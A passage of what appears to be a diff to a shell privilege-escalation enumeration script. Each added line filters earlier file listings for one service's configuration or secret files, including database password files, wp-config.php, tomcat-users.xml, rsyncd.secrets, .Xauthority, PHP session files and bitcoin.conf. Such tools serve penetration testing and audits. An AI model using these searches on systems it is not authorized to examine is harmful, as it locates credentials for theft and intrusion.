+ PSTORAGE_SOCKET=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}lib64|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}lib32|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}concourse-keys|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}sys|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}private|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}lib|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}system|^${ROOT_FOLDER}concourse-auth|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}systemd|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}run" | grep -E ".*\.socket$" | sort | uniq | head -n 70)
+ PSTORAGE_DBUS=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}etc" | grep -E "system\.d$" | sort | uniq | head -n 70)
+ PSTORAGE_MYSQL=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E 'mysql/mysql' | grep -E '^/etc/.*mysql|/usr/var/lib/.*mysql|/var/lib/.*mysql' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "mysql$|passwd\.ibd$|password.*\.ibd$|pwd\.ibd$|mysqld\.cnf$" | sort | uniq | head -n 70)
+ PSTORAGE_MARIADB=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "mariadb\.cnf$|debian\.cnf$" | sort | uniq | head -n 70)
+ PSTORAGE_POSTGRESQL=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "pgadmin.*\.db$|pg_hba\.conf$|postgresql\.conf$|pgsql\.conf$|pgadmin4\.db$" | sort | uniq | head -n 70)
+ PSTORAGE_APACHE_NGINX=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "sites-enabled$|000-default\.conf$|php\.ini$|nginx\.conf$|nginx$" | sort | uniq | head -n 70)
+ PSTORAGE_VARNISH=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "varnish$" | sort | uniq | head -n 70)
+ PSTORAGE_PHP_SESSIONS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E '/tmp/.*sess_.*|/var/tmp/.*sess_.*' | grep -E "^${ROOT_FOLDER}private|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}var" | grep -E "sess_.*$" | sort | uniq | head -n 70)
+ PSTORAGE_PHP_FILES=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*config.*\.php$|database\.php$|db\.php$|storage\.php$|settings\.php$" | sort | uniq | head -n 70)
+ PSTORAGE_APACHE_AIRFLOW=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "airflow\.cfg$|webserver_config\.py$" | sort | uniq | head -n 70)
+ PSTORAGE_X11=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.Xauthority$" | sort | uniq | head -n 70)
+ PSTORAGE_WORDPRESS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "wp-config\.php$" | sort | uniq | head -n 70)
+ PSTORAGE_DRUPAL=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E '/default/settings.php' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "settings\.php$" | sort | uniq | head -n 70)
+ PSTORAGE_MOODLE=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E 'moodle/config.php' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "config\.php$" | sort | uniq | head -n 70)
+ PSTORAGE_TOMCAT=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "tomcat-users\.xml$" | sort | uniq | head -n 70)
+ PSTORAGE_MONGO=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "mongod.*\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_ROCKETCHAT=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}systemd|^${ROOT_FOLDER}lib|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "rocketchat\.service$" | sort | uniq | head -n 70)
+ PSTORAGE_SUPERVISORD=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "supervisord\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_CESI=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "cesi\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_RSYNC=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "rsyncd\.conf$|rsyncd\.secrets$" | sort | uniq | head -n 70)
+ PSTORAGE_RPCD=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/init.d/|/sbin/|/usr/share/' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "rpcd$" | sort | uniq | head -n 70)
+ PSTORAGE_BITCOIN=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "bitcoin\.conf$" | sort | uniq | head -n 70)
